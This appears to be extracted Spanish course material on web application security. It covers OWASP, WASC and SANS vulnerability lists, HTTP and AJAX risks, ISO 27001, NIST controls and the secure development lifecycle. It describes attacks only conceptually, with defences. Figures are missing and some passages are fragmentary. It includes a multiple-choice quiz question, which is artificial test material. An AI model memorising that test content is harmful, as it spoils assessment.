Documentos de Académico
Documentos de Profesional
Documentos de Cultura
TEMA 1 – Esquema
Vulnerabilidades
Vulnerabilidades Listas oficiales de
Vulnerabilidades en el en la
en el despliegue vulnerabilidades de
diseño de las aplicaciones implementación
de las seguridad de las
web de las
aplicaciones web aplicaciones web
aplicaciones web
MITRE
CWE CAPEC
OWASP TO TEN 2013
vulnerabilities
Ideas clave
Para estudiar este tema lee las Ideas clave que encontrarás a continuación.
https://www.owasp.org/images/5/5f/OWASP_Top_10_-_2013_Final_-
_Espa%C3%B1ol.pdf
Esta asignatura tiene como objetivo cubrir qué artefactos son necesarios para
implementar la seguridad de las aplicaciones para que una vez desplegadas se comporten
de la forma esperada, tanto por los propietarios como por parte de los usuarios de la
aplicación.
Se puede afirmar que para que un ataque aproveche una vulnerabilidad (debilidad en
el diseño, código, configuración, protección online de una aplicación) y se materialice en
una aplicación generando un impacto de negocio para la organización es necesario que
intervengan una serie de factores (ver figura siguiente):
Cost
Time
Vemos que se pueden definir las clases de vulnerabilidades en función de las fases
del SSDLC. Las clases de vulnerabilidades comúnmente aceptadas incluyen
vulnerabilidades de diseño, implementación y vulnerabilidades operacionales.
» Stealing Passwords.
» Sql injection.
» Cross Site Scripting.
» Social Engineering.
» Bugs and Back Doors.
» Authentication Failures.
» Protocol Failures.
» Information Leakage.
» Exponential Attacks Viruses and Worms.
» Denial-of-Service Attacks.
» Botnets.
» Active Attacks.
Los ataques pueden ser debidos a defectos, que pueden tener lugar en cualquiera de las
fases del ciclo de vida de desarrollo del software y sistemas. A continuación se presentan
unos cuantos ejemplos de ataques debidos a defectos de seguridad en el diseño, en la
implementación y en la operación.
Nivel de diseño
Tal sustitución puede implicar el uso del software malicioso del atacante. La defensa
sería evitar operaciones no atómicas si pueden tener implicaciones de seguridad. Si
no se está seguro de sí una operación es atómica, se asume que el sistema operativo
puede ejecutarla en dos pasos o más pasos interrumpibles.
» Ataque con sniffer. Un sniffer es un software que captura los paquetes del tráfico
de la red con el objetivo de capturar nombres de usuario y passwords que se
transmiten en claro. La defensa sería usar protocolos seguros de autenticación en la
validación de los usuarios de las aplicaciones. Secuestro de sesiones. Este tipo de
ataque explota las debilidades del protocolo TCPIP secuestrando una conexión
establecida.
Nivel de implementación
Nivel de operación
No hay ningún modo de saber de antemano que una petición a una aplicación será
benigna. En general, vulnerabilidades de seguridad en el diseño de las
aplicaciones web tienen que ver con:
El protocolo HTTP implementa una serie de métodos especificados en HTTP 1.1 rfc
2616. Son los siguientes:
» HEAD: pide una respuesta idéntica a la que correspondería a una petición GET pero
sin el cuerpo de la respuesta. Esto es útil para la recuperación de meta-información
escrita en los encabezados de respuesta, sin tener que transportar todo el contenido.
» GET: pide una representación del recurso especificado. Por seguridad no debería
ser usado por aplicaciones que causen efectos ya que transmite información a través
de la URI agregando parámetros a la URL.
» POST: envía los datos para que sean procesados por el recurso identificado (url). Los
datos se incluirán en el cuerpo de la petición. Esto puede resultar en la creación de un
nuevo recurso o de las actualizaciones de los recursos existentes o ambas cosas.
» OPTIONS: devuelve los métodos HTTP que el servidor soporta para un URL
específico. Este método puede ser utilizado para comprobar la funcionalidad de un
servidor web.
Métodos http
En una petición GET los parámetros que se incluyen en la cadena de la URL pueden ser
rutinariamente escritos a LOG,s cache del navegador y almacenados en el historial del
navegador revelando información sensible como passwords, etc. Es más sencillo
prevenir XSS deshabilitando GET en las aplicaciones. Es más fácil para un atacante
enviando emails con una URL con parámetros maliciosos:
Si el administrador visita el sitio controlado por el atacante se puede dar un ataque Cross
site request forguery (CSRF). Para prevenirlo se puede incluir algún campo que la
aplicación pueda validar:
Esto quiere decir que la seguridad de la aplicación depende de ello siendo muy difícil
para un atacante aprovechar el identificador de sesión para un usuario autenticado.
Una buena gestión de sesión HTTP escoge identificadores de sesión fuertes y se asegura
de que son publicados y revocados en puntos apropiados en el programa. Es importante
tener en cuenta los puntos siguientes:
No solo la aplicación tiene que defenderse a sí misma contra usuarios malévolos sino
también tiene que defender a usuarios honestos contra usuarios malévolos. En otras
palabras los usuarios malévolos tratarán de usar la aplicación como un trampolín para
ataques contra otros objetivos.
Las capas de que se compone una aplicación web (JSON, 2015) son:
Uno de los patrones de diseño de las aplicaciones web más comunes es modelo-vista-
controlador (MVC), (Universidad Católica de Temuco, 2015).
Los mecanismos de autenticación http basic y http digest (basic and digest
authentication, 2015) tienen vulnerabilidades de seguridad que se analizarán
en el tema 3. A continuación se representa un esquema del patrón MVC para J2EE.
Fuente: http://www.programacion.com/articulo/manual_basico_de_struts_156
» Modelo. El modelo es la capa de la aplicación que se ocupa de los datos que necesita
la aplicación y los accesos a los mismos. En una aplicación J2EE los componentes de
la lógica de negocio necesitan acceder a los datos de la aplicación (SGBD, repositorio
XML) y para ello solicitan el servicio a un javabean o ejb que se encargan de la llamada
al sistema gestor de base de datos para extraer, insertar, actualizar o borrado de
información.
Las tecnologías (J2EE, .NET, PHP) comentadas para el desarrollo de aplicaciones web
incorporan constantemente nuevas especificaciones que tienen que ser estudiadas y
analizadas exhaustivamente para comprender cómo pueden afectar a la seguridad y qué
nuevas vulnerabilidades o modalidades de las mismas pueden introducir a la aplicación
que se está desarrollando.
Especificaciones RIA (rich Internet applications) como AJAX (Connolly 2008, JSON
2015, FLASH 2015) son algunas de estas tecnologías cuyo uso está incrementándose y
consecuentemente suponen una nueva fuente de vulnerabilidades de seguridad en
forma de vulnerabilidades en el código y que hay que detectar y corregir a tiempo. En
Cannings 2008 y Scambray 2010 se tratan las debilidades de la nueva generación de
aplicaciones web: WEB 2.0 centrándose en los tipos de ataques en aplicaciones que
utilizan AJAX o FLASH.
Parecería que sumar una capa a la aplicación la haría menos reactiva pero es todo lo
contrario. En lugar de cargar una página web en el inicio de la sesión, el navegador
carga un motor AJAX escrito en JavaScript y usualmente escondido en un frame
oculto. Este motor es responsable de procesamiento tanto de la interfaz que el usuario
ve y la comunicación con el servidor en nombre del usuario.
Cada acción del usuario que normalmente generaría una petición HTTP toma la forma
de una llamada JavaScript al motor AJAX en su lugar. Cualquier respuesta a una
acción del usuario que no requiere un viaje de vuelta al servidor, tales como la
validación de datos simple, edición de datos en la memoria e incluso un poco de
navegación: el motor se encarga por sí solo.
Debido a las características de diseño las aplicaciones AJAX, tienen los siguientes
problemas de seguridad:
Y cuanto más sepa el atacante cómo funciona la aplicación más probable será que
encuentre errores y vulnerabilidades que pueda explotar.
Para resolver este problema surgen los AJAX proxies que básicamente se encargan de
contactar a esas otras fuentes desde el servidor y devolver sus respuestas al cliente.
Estos proxies realizan sus peticiones en lugar del cliente pero el origen de las mismas
es el servidor. De esta manera el tercero contactado puede establecer mayores
privilegios de acceso a esas peticiones que cuando son realizadas directamente desde
un cliente. Estos privilegios pueden incluir mayor número de consultas a la BBDD o
acceso a partes de ella que necesitan autenticación. Un atacante podría aprovechar
esto para realizar peticiones al sitio de terceros a través del proxy consiguiendo en la
práctica realizar una escalada de privilegios.
» Acceso al DOM. La capacidad de manipular el DOM por parte de los scripts del
cliente también representa una amenaza de seguridad. Un atacante puede modificar
el aspecto de una página para que el usuario realice acciones que revelen sus
credenciales en una especie de phising embebido o inyectar código script en las hojas
de estilo que persistan durante toda la navegación. El acceso a la modificación de la
presentación y la posibilidad de acceder a cookies y credenciales abre todo un abanico
de posibles engaños, tanto a cliente como a servidor.
» Repudio de peticiones. Los scripts que puedan generar peticiones que desde el
punto de vista del servidor provienen del usuario y que además este no perciba que se
están realizando. Estas peticiones contarán con la autorización necesaria (añadida por
el navegador como en el caso de las cookies) y el script podrá obtener respuestas y
generar nuevas peticiones. Desde el punto de vista del servidor habrán sido
transacciones válidas realizadas por un humano y posteriormente dicho humano
tendrá bastantes problemas para negar que las ha realizado en persona (cuando se
percate porque durante la sesión estas estarán ocultas).
» Potenciación del XSS, CSRF y SQLi. En el modelo tradicional web un ataque XSS
solo afecta a la página actual mostrada en el cliente. Ahora gracias a AJAX se pueden
realizar multitud de peticiones a páginas distintas de la actual, realizando el robo de
datos de una manera dinámica, activa y más prolongada (e inadvertida).
Las posibilidades de inyección SQL también se ven aumentadas gracias a AJAX. Los
puntos de inyección se multiplican al existir múltiples funciones del servidor que
pueden ser llamadas directamente y cuyos parámetros terminarán en una consulta
SQL.
Además en esta capa de software hay que aplicar un correcto y seguro servicio de
autenticación y autorización para acceso a cualquier recurso de la aplicación o sistema.
Como se verá más adelante, para conseguir una aplicación segura hay que partir de una
derivación acertada de los requisitos de seguridad y casos de abuso, siguiendo con el
diseño de la seguridad mediante análisis de riesgos, implementación con técnicas de
programación segura y posterior revisión de código y por último, aplicar pruebas
funcionales, test de penetración y otras actividades.
Al final, por si acaso, quedará la opción de la protección online que se aplique y también
tiene que ser diseñada desde el principio.
Todos los aspectos de una petición HTTP han de ser validados. También se pueden
modificar cookies, campos ocultos y parámetros post usando un cliente de ataque
que permite modificar el aspecto de cualquier petición HTTP (ver figura siguiente). Es
importante la elección del framework de desarrollo y utilizar un lenguaje de
programación que fuerce la comprobación de tipos y de memoria de forma que su gestión
sea segura. C#,Java, Python, Ruby o dialectos de C como CCured y Cyclone son
lenguajes de este tipo.
Los lenguajes seguros deben proporcionar dos propiedades para asegurar que los
programas respetan los límites de asignación: seguridad de memoria y seguridad
de tipo.
Sin la seguridad de tipo cualquier valor arbitrario podría usarse como una referencia en
la memoria. C y C++ son lenguajes inseguros y ampliamente utilizados y por tanto el
programador es el responsable de prevenir que las operaciones que manipulan la
memoria puedan resultar en desbordamientos de buffer. Las operaciones que conducen
a desbordamientos se reducen a un pequeño conjunto.
Para estudiar este apartado deberás leer las páginas 7 a 16 del documento propuesto
en la sección ¿Cómo estudiar este tema?
Según el proyecto OWASP TOP TEN 2103 las vulnerabilidades más frecuentes en las
aplicaciones web en los últimos tres años son las vulnerabilidades relativas a inyección
de código, de autenticación y gestión de sesiones y XSS (cross site scripting).
La lista enumera las 10 vulnerabilidades de seguridad más comunes desde 2010 (tabla
2), comparada con la misma lista de OWASP 2010, mostrando su evolución desde
entonces en función de las vulnerabilidades detectadas en las aplicaciones y los ataques
sufridos en los últimos tres años.
A1-Injection A1-Injection
ATTACKS WEAKNESSES
ATTACKS WEAKNESSES
LDAP injection
OS commanding
Path traversal
Routing detour
ATTACKS WEAKNESSES
Session fixation
SSI injection
SQL injection
Xpath injection
XML injection
Xquery injection
WASC Thread classification
Fuente: http://projects.webappsec.org/w/page/13246978/Threat%20Classification
SANS TOP 25 (2013) es otro proyecto que se ocupa de clasificar las vulnerabilidades de
las aplicaciones en función de su importancia debido a la frecuencia con que se dan en
las aplicaciones y de la peligrosidad de los ataques que se materializan aprovechando las
vulnerabilidades. En este proyecto las vulnerabilidades se clasifican en tres
categorías con expresión de su identificador CWE de MITRE:
1.7. Referencias
Ajax frente al esquema tradicional de aplicaciones web. Recuperado (30 de abril de2015)
en, http://www.adaptivepath.com/ideas/ajax-new-approach-web-applications
Cannings, R., Dwivedi, H. y Lackey, Z. (2008). Hacking exposed web applications. Web
2.0. Estados Unidos: McGraw Hill.
Chess, B. y West, J. (2007). Secure programming with static analysis. Estados Unidos:
Pearson Education.
Connolly, G. M., Akin, M., Goyal, A., Howlett, R. y Perrins, M. (2008). Building dynamic
Ajax applications using websphere feature pack for web 2.0. Estados Unidos: IBM
Redbooks.
Dowd, M., McDonald, J. y Schuh, J. (2006). The art of software security assessment:
identifying and preventing software vulnerabilities. San Francisco: Addison Wesley.
Graff, M. (2001). Secure coding. The state of the practice. Recuperado (30 de abril de
2015) en, http://www.securecoding.org/authors/articles/may202003/
Http basic and digest authentication. Recuperado (30 de abril de 2015) en,
https://www.ietf.org/rfc/rfc2617.txt
Protocolo http rfc 2616. W3 consortium. Recuperado (17 de abril de 2015) en,
http://www.w3.org/Protocols/rfc2616/rfc2616.html
Scambray, J., Liu, V y Sima, C. Hacking exposed web applications 3. Estados Unidos:
McGraw Hill.
Silic, M., Krolo, J. y Delac, G. (2010). Security vulnerabilities in modern web browser
architeture. Zagreb: University of Zagreb.
Lo + recomendado
Lecciones magistrales
No dejes de leer…
No dejes de ver…
OWASP
Este vídeo es un tutorial sobre vulnerabilidades de seguridad. Los tres primeros capítulos
son los más interesantes.
+ Información
A fondo
Arquitectura J2EE
Ajax
JSON
Este enlace es una ampliación sobre la arquitectura de servicios web, describiendo los
protocolos y servicios que los componen: SOAP, ADDI, WSDL.
Enlaces relacionados
WASC
Página de WASC, asociación sin ánimo de libro formada por un grupo internacional de
expertos profesionales de la industria y representantes de organizaciones que producen
software libre y ampliamente acordados estándares de seguridad de mejores prácticas
para la world wide web.
OWASP
SANS
Veracode
Bibliografía
Cannings, R., Dwivedi, H. y Lackey, Z. (2008). Hacking exposed web applications. Web
2.0. Nueva York: McGraw Hill.
Scrambray, J., Liu, V. y Sima, C. (2010). Haking exposed web applications 3. Nueva
York: McGraw Hill.
Silic, M., Krolo, J. y Delac, G. (2010). Security vulnerabilities in modern web browser
architecture. Croatia: University os Zagreb.
Sullivan, B. y Liu, V. (2011). Web application security, a beginner´s guide. Nueva York:
McGraw Hill.
Test
[2.7] Referencias
TEMA
Esquema
TEMA 2 – Esquema
ESTÁNDARES PARA LA SEGURIDAD DE
APLICACIONES
2
Política de seguridad
Ciclo de vida de
Sistema de gestión de desarrollo seguro de
seguridad de la software (SSDLC)
información (SGSI)
Seguridad en Aplicaciones Online
Ideas clave
Para estudiar este tema lee las Ideas clave que encontrarás a continuación.
En este tema se analizan los pilares en los que debe apoyarse la implantación de la
seguridad online de las aplicaciones. El pilar principal es la implantación de la política
de seguridad que debe existir en toda organización y que obliga a todos sus
componentes por igual con el objetivo de alcanzar el máximo grado de seguridad en los
sistemas de información y comunicaciones de la organización.
Por tanto se puede considerar que los pilares fundamentales para el diseño e
implementación de la seguridad de las aplicaciones son tres:
» Política de seguridad.
» Sistema de gestión de seguridad de la información.
» Ciclo de vida de desarrollo seguro de software.
Principios de seguridad
Principio de simplicidad
Este apartado explica los tipos de normativas necesarias en una política de seguridad
y también las fases y actividades a llevar a cabo dentro del proceso de seguridad de
acuerdo con los principios de seguridad que deben regir toda política de seguridad.
Además explica cómo es la puesta en marcha del proceso de seguridad que se puede
escenificar como una rueda con las siguientes fases genéricas (las desarrolla y amplifica
el SGSI+SSDLC):
Otro aspecto importante que debe tratar de conseguirse es el ilustrado por los
principios de defensa en profundidad y de diversidad de defensa. Se debe
intentar tener más de un nivel de defensa y a poder ser de distinta naturaleza para, de
esta forma, hacer más difícil el trabajo del supuesto atacante que no solo debe vencer
más de una defensa sino que cada una le obliga a tener distintos tipos de conocimiento.
Es necesario remarcar que se debe cumplir en todas ellas cualquier obligación legal en
el marco de las leyes del país donde se quiera imponer la política.
Un SGSI debe seguir siendo eficiente durante un largo tiempo adaptándose a los cambios
internos de la organización así como los externos del entorno gestionando el riesgo de
forma dinámica, con el objetivo de que el riesgo residual sea el mínimo posible.
Hay varios modelos que se pueden seguir para implantar un SGSI, normalmente siguen
el esquema de fases plan-do-check-act (PDCA) que significa «planificar-hacer-
controlar-actuar» siendo este un enfoque de mejora continua basado en una
monitorización constante del sistema que permita actualizar el riesgo residual de forma
dinámica de los activos de la organización:
ISO 27001
Este sistema sigue el enfoque de mejora continua de fases PDCA y los aspectos y
documentación más importantes a desarrollar en este esquema son:
» Implicación de la dirección.
» Alcance del SGSI y política de seguridad.
» Inventario de todos los activos de información.
» Metodología de evaluación del riesgo.
» Identificación de amenazas, vulnerabilidades e impactos.
» Análisis y evaluación de riesgos.
» Selección de controles para el tratamiento de riesgos.
» Aprobación por parte de la dirección del riesgo residual.
» Declaración de aplicabilidad.
» Plan de tratamiento de riesgos.
» Implementación de controles, documentación de políticas, procedimientos e
instrucciones de trabajo.
» Definición de un método de medida de la eficacia de los controles y puesta en marcha
del mismo.
» Formación y concienciación en lo relativo a seguridad de la información a todo el
personal.
» Monitorización constante y registro de todas las incidencias.
» Realización de auditorías internas.
» Evaluación de riesgos periódica, revisión del nivel de riesgo residual, del propio SGSI
y de su alcance.
» Mejora continua del SGSI.
Security and privacy and controls for federal information systems and
organizations. NIST SP 800-53. Rev4
» Monitorizar:
o El administrador de seguridad del sistema (ASS) recopila información sobre el
desempeño del sistema de información en materia de seguridad.
o El responsable de la seguridad monitoriza que el sistema de información se
comporta dentro de los márgenes aceptados de riesgo.
o Los responsables de la información y de los servicios son informados de
desviaciones significativas del riesgo sobre los activos de los que son propietarios;
si la desviación es elevada, el responsable del sistema puede acordar la suspensión
temporal del servicio hasta que se puedan garantizar niveles aceptables de riesgo
La seguridad de la aplicación tiene que tratarse obligatoriamente en todas las fases del
ciclo de vida desarrollo seguro (SSDLC) de aplicaciones. En cada una de las fases, como
veremos más adelante, se han de realizar prácticas que tienen que ver con el diseño, la
implementación y pruebas de la seguridad de la aplicación tratando y cubriendo todos
los aspectos y principios de la seguridad.
» En primer lugar hay que derivar los requisitos de seguridad y casos de abuso de la
aplicación.
» Hay que diseñar la seguridad de la aplicación en base a los requisitos de seguridad y
casos de abuso de la fase 1 y de los principios de seguridad: autenticación,
autorización, control de accesos a recursos, cifrado de datos, seguridad en
profundidad para asegurar el no repudio, confidencialidad e integridad de datos, etc.
» Se diseñan los casos de test funcionales de seguridad basados en el riesgo.
» Se implementa el código de la aplicación siguiendo buenas prácticas de desarrollo
seguro como son la validación de las entradas y salidas de la aplicación, gestión de
errores, etc.
» Se ejecutan los casos de test para prueba del diseño funcional de la seguridad.
» Se prueba la seguridad del código y funcional de seguridad de la aplicación con
técnicas de caja blanca y de caja negra. Estas pruebas pueden conducir a un ciclo
volviendo a la primera fase para definir nuevos requisitos o redefinir los existentes
para solucionar problemas encontrados.
» Se despliega la aplicación y se prueba mediante test de penetración.
» Para la fase de producción se diseñan operaciones de seguridad como monitorización,
auditoría, gestión de backups, centro de respaldo, etc.
» Revisión de código.
» Análisis de riesgo arquitectónico.
» Pruebas de penetración.
» Pruebas de seguridad basados en riesgo.
» Casos de abuso.
» Requisitos de seguridad.
» Operaciones de seguridad.
» Revisión externa.
» Según se van descubriendo nuevas amenazas se tienen nuevos casos de abuso que
implican nuevos riesgos, lo que implica rehacer el análisis de riesgos.
» Si se introducen cambios o se introducen nuevos componentes de software o de
hardware en el sistema hay que rehacer el análisis de riesgos y revisar el código
de nuevos componentes de software.
» Nuevos defectos de implementación de partes que se modifican con arreglo a
nuevas especificaciones o cambios en las mismas implica nueva revisión de código y
nuevas pruebas de seguridad en operación del sistema.
» Por supuesto siempre hay que incidir en la prevención, formación en seguridad,
documentando, realizando cuantificación y análisis de métricas de seguridad que se
puedan emplear en futuros proyectos para mejorar.
Este conocimiento puede reunirse a través de varias fuentes, una de ellas es recurrir a
organizaciones y estándares que se vienen ocupando desde hace tiempo de recopilar
información sobre metodologías, protocolos, criptografía, paradigmas, proyectos de
referencia, estudios sobre los aspectos y particularidades de todo lo que concierne a la
seguridad, herramientas de test y herramientas y otras formas de protección en tiempo
real, etc.
Everyone is free to participate in OWASP and all of out materials are available
under a free and open software license. You´ll find everything about OWASP
here on or linked from our wiki and current information on our OWASP Blog.
OWASP does not endorse or recommend comercial products or services,
allowing ourcommunity to remain vendor neutral with the collective wisdom of
the best minds in software security worldwide. We ask that the community look
out for inappropriate uses of the OWASP Brand including use of out name,
logos, Project names and other trademark issues.
The web Application security consortium (WASC) is 501c3 non profit made up
of an international group of experts, industry practitioners and organizational
representatives who produce open source and widely agreed upon best-practise
security standards for the world wide web. As an active community, WASC
facilitates the Exchange of ideas and organizes several industry projects. WASC
consistently releases technical information, contributed articles, security
guidelines and other useful documentation. Businesses, educational
institutions, governments, application developers security professionals, and
software vendors all over the world utilize our materials to assist with the
challenges presented by web application security. Volunteering to participate in
WASC related activities is free and open to all.
CWE MITRE
Se ocupa de áreas como: análisis de seguridad del código, de las aplicaciones, evaluación
de sistemas, entrenamiento, gestión del riesgo, etc. Todas relacionadas con la seguridad
de sistemas y aplicaciones. Pero principalmente proporciona un diccionario de uso
público internacional que proporciona una medida unificada de un
conjunto de debilidades de software que pueden dar lugar a
vulnerabilidades de seguridad.
Hay que hacer distinción de lo que es una definición CVE de lo que es una definición
CWE. La diferencia está en que la lista CWE son errores en el software que pueden
conducir a una vulnerabilidad de software. La lista de vulnerabilidades CVE son errores
de software concretos detectados en un sistema determinado (por ejemplo: CVE 1999-
0005 Arbitrary command execution vía IMAP buffer overflow in authenticate
command) que pueden ser directamente usados por un atacante para obtener el acceso
a un sistema.
SANS
Lo que más interesa de cara a este trabajo es su clasificación de los 25 principales errores
o problemas de seguridad (weakness), los cuales se encuentran perfectamente
identificados en la lista CWE de MITRE. Todos ellos se pueden dar en aplicaciones web
y entre ellos están los problemas más importantes de las aplicaciones (XSS, SQLI, CSRF,
OPEN REDIRECT, PATH TRANSVERSAL, etc.). En la referencia de SANS se puede
encontrar acceso múltiple a recursos sobre cómo eliminar los errores de esta
categorización SANS TOP 25.
CNI-CCN-CERT
Centro de respuesta ante incidentes de seguridad del Centro criptológico nacional del
centro nacional de inteligencia de España, responsable de la seguridad de los sistemas
en la administración pública española. En su sitio web existe abundante información
sobre vulnerabilidades de seguridad, ataques, herramientas o guías de seguridad de
numerosos entornos y aplicativos.
INCIBE
» Biometrics.
» Computer forensics.
» Computer security.
» Conformance testing.
» Cybersecurity.
» Data mining.
» Data and informatics.
» Health IT.
» Imaging.
» Information delivery systems.
» Networking.
» Scientific computing.
» Software testing metrics.
» Telecommunications/wireless.
2.7. Referencias
Aplication security testing Gertner magic quadrant 2014. Recuperado (08 de mayo de
2015) en, https://info.veracode.com/analyst-report-gartner-application-security-
testing-magic-quadrant-2015.html
CNN-CERT.CNI. Sitio web del CERT del CCN-CNI. Recuperado (08 de mayo de 2015)
en, https://www.ccn-cert.cni.es/
Fraser, B. (1997). IETF RFC 2196 Site security handbook. Recuperado (4 de febrero de
2016) en, https://www.ccn-cert.cni.es/publico/seriesCCN-STIC/series/800-
Esquema_Nacional_de_Seguridad/805-Politica_de_seguridad_del_ENS/805_ENS-
politica_ene-11.pdf
INCEBE. Sitio web del INCIBE. Recuperado (08 de mayo de 2015) en,
https://www.incibe.es/
Mitre CVE. Common vulnerabilities and exposures official site. Recuperado (08 de
mayo de 2015) en, http://cve.mitre.org/
Mitre CWE. Common weakness enumeration. Recuperado (08 de mayo de 2015) en,
https://cwe.mitre.org/
NIST SP 800-53.rev4. (2013). Security and privacy controls for federal information
systems and organizations. Recuperado (8 de mayo de 2015) en,
http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf
NIST. (2016). National institute os standars and technology. Recuperado (04 de febrero
de 2016) en, http://csrc.nist.gov/publications/PubsSPs.html
OASIS. Open standars for the information society. Recuperado (08 de mayo de2015)
en, https://www.oasis-open.org/
OISSG. Open information systems security. Recuperado (08 de mayo de 2015) en,
http://www.oissg.org/
Opensamm SSDLC. Open software assurance maturity model official site. Recuperado
(08 de mayo de 2015) en, http://www.opensamm.org/
OWASP CLASP. Project official site. Recuperado (08 de mayo de 2015) en,
https://www.owasp.org/index.php/Category:OWASP_CLASP_Project/es
OWASP. Open web application security project. Recuperado (04 de febrero de 2016) en,
https://www.owasp.org/index.php/Main_Page
OWASP TOP TEN 2013 vulnerabilities. Recuperado (08 de mayo de 2015) en,
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
SANS TOP 25 most dangerous errors. Recuperado (08 de mayo de 2015) en,
https://www.sans.org/top25-software-errors/
WASC. web application security consortium. Recuperado (08 de mayo de 2015) en,
http://www.webappsec.org/
Lo + recomendado
Lecciones magistrales
Seguridad MYSQL
Se presenta una guía específica de seguridad de MYSQL, uno de los gestores de bases
de datos abiertos más extendidos en el mundo, abordando todos los elementos de la
seguridad de un SGBD.
No dejes de leer…
Política de seguridad
Alonso, M., Díaz, G., Mur, F., Peire, J. y Sancristóbal, E. (2004). Seguridad en las
comunicaciones y en la información.Madrid: UNED.
The purpose of this publication is to provide guidelines for selecting and specifying
security controls for organizations and information systems supporting the executive
agencies of the federal government to meet the requiments of FIPS Publication 200,
Minumum security requirements for federal information and information systems.
No dejes de ver…
En este vídeo podrás ver algunos conceptos básicos sobre seguridad de la información.
+ Información
A fondo
BSIMM
Este esquema es el modelo SGSI que sigue la administración pública española. El Real
Decreto 3/2010 de 8 de enero de desarrollo del esquema nacional de seguridad fija los
principios básicos y requisitos mínimos así como las medidas de protección a implantar
en los sistemas de la administración y promueve la elaboración y difusión de guías de
seguridad de las tecnologías de la información y las comunicaciones por parte de CCN
para facilitar un mejor cumplimiento de dichos requisitos mínimos.
ISO 27001
Enlaces relacionados
OWASP
Página del proyecto abierto para seguridad de las aplicaciones web. En su página se
menciona su propósito.
WASC
Página web application security consortium, una organización sin ánimo de lucro
formada por un grupo internacional de expertos profesionales de la industria y
representantes de organizaciones que producen software libre y ampliamente acordados
estándares de seguridad de mejores prácticas para la world wide web.
NIST
Sitio web del National institute of standars and technology reúne amplio conocimiento,
guías, recursos y proyectos sobre la implementación de la seguridad del software de
aplicaciones, sistemas operativos, bases de datos y redes de comunicaciones entre otros.
Bibliografía
ENS, política de seguridad, guía STIC. Recuperado (08 de mayo de 2015) en,
https://www.ccn-cert.cni.es/publico/seriesCCN-STIC/series/800-
Esquema_Nacional_de_Seguridad/805-Politica_de_seguridad_del_ENS/805_ENS-
politica_ene-11.pdf
IETF RFC 2196. Site security handbook. Recuperado (08 de mayo de 2015) en,
https://www.ietf.org/rfc/rfc2196.txt
OWASP CLASP project official site. Recuperado (08 de mayo de 2015) en,
https://www.owasp.org/index.php/Category:OWASP_CLASP_Project/es
Security and privacy controls for federal informationsystems and organizations. NIST
SP 800-53.rev4. Recuperado (08 de mayo de 2015) en,
http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf
Test
1. ¿Cuáles son los principios de seguridad en los que debe basarse toda política de
seguridad?
A. Profundidad en la defensa, mínimos privilegios, diversidad de la defensa,
gestión centralizada, sofisticación, identificación de puntos débiles, cierre
completo de accesos ante incidentes.
B. Profundidad en la defensa, mínimos, diversidad de la defensa, gestión delegada
en niveles, simplicidad, identificación de puntos débiles, cierre completo de
accesos ante incidentes.
C. Profundidad en la defensa, mínimos privilegios, diversidad de la defensa,
gestión centralizada, simplicidad, identificación de puntos débiles, cierre completo
de accesos ante incidentes.
D. A y B son correctas.
[3.4] Referencias
TEMA
Seguridad en el diseño de las aplicaciones web
Esquema
TEMA 3 – Esquema
SEGURIDAD EN EL DISEÑO DE
APLICACIONES WEB
INTRODUCCIÓN A LA
SEGURIDAD DE LAS
Autenticación
APLICACIONES WEB
Seguridad en el servidor
web/aplicaciones Autorización
Seguridad en el servidor de
gestión de bases de datos Confidencialidad e integridad
Seguridad en la comunicación
Seguridad en Aplicaciones Online
Ideas clave
Para estudiar este tema lee las Ideas clave que encontrarás a continuación.
El tercer tipo de aplicaciones en auge son las aplicaciones móviles donde el cliente es
un smartphone, teléfono móvil, tableta, portátil, etc. Los ataques a dispositivos móviles
están creciendo en la medida que aumenta el uso de las aplicaciones móviles (m-
commerce) para banking, compras, etc. que se pueden utilizar desde ellos. La
arquitectura de estas aplicaciones móviles es similar a la de las aplicaciones web. La
mayor diferencia está en el canal de comunicación y la forma de proveer comunicación
segura.
Por tanto, en este tema se aborda el diseño de la seguridad de una aplicación web
enfocado en proporcionar servicios seguros de identificación, autenticación y
autorización a los recursos de la aplicación que ya residan en la misma, en el sistema
operativo o en la base de datos asociada a la aplicación. Además se debe proveer
comunicación segura entre las capas de la aplicación y confidencialidad e integridad
en los datos que la aplicación maneja.
Han de contemplarse todos los aspectos de seguridad que tienen que están relacionados
con la arquitectura de la aplicación elegida. El ejemplo de la figura 11, es una arquitectura
tradicional de n-capas en las que hay que diseñar e implementar de forma adecuada:
Seguridad en el cliente
Los navegadores web median entre los usuarios y las aplicaciones web. Aplicaciones
maliciosas pueden cargarse y ejecutarse dentro del navegador haciéndolo vulnerable. Las
nuevas arquitecturas de aplicaciones demandan nuevos diseños de navegadores acordes
con WEB 2.0.
La seguridad en los navegadores web hay que enfocarla desde dos puntos de vista:
El objetivo de diseño a cumplir por un navegador ha de ser por un lado alcanzar una
adecuada protección del usuario y a la vez proporcionar la compatibilidad
necesaria con los tipos de aplicaciones web existentes.
Sin embargo, si un navegador tiene una estructura modular, cada aplicación es ejecutada
en su propia sandbox (caja o módulo) con privilegios restringidos a medida sin afectar a
las demás aplicaciones, como se puede ver en la arquitectura de Chrome, en la siguiente
figura.
La elección de los servidores que dan soporte a la aplicación web a desplegar y al sistema
gestor de bases de datos (SGBD) ha de contemplarse en las fases de análisis de
requisitos de seguridad y de diseño de la arquitectura de la aplicación en
paralelo con el análisis de riesgos arquitectónico del ciclo de vida de desarrollo seguro de
aplicaciones (SSDLC). Lógicamente han de cumplir con los requisitos de seguridad
deseados acordes con la aplicación web y bases de datos que se van a instalar en los
servidores.
La seguridad de los sistemas gestores de bases de datos, de las bases de datos alojadas
en ellos y de los datos alojados en ellos debe ser también objetivo prioritario y se debe
asegurar la integridad, la confidencialidad y disponibilidad en el acceso a los datos.
Seguridad en la comunicación
Para ello se pueden utilizar distintas opciones de protección utilizando protocolos que se
sirven de criptografía simétrica y asimétrica como:
» Protocolo Secure socket layer (SSL) aplicado al protocolo HTTP => HTTPS.
» Protocolo TLS (variante de SSL).
» Protocolo de comercio electrónico SET.
» Protrocolo SSH para accesos a administración de servicios.
» Redes privadas virtuales (VPN,s) implementadas mediante varios protocolos: IPSEC,
L2TP, PPTP, etc.
» Public Key Infraestructure (PKI) necesaria para administración de certificados
digitales para su uso en las tareas de autenticación, firma y cifrado de datos. Estas son
necesarias para asegurar las características de no repudio, integridad y
confidencialidad de los datos dentro de los protocolos anteriormente indicados.
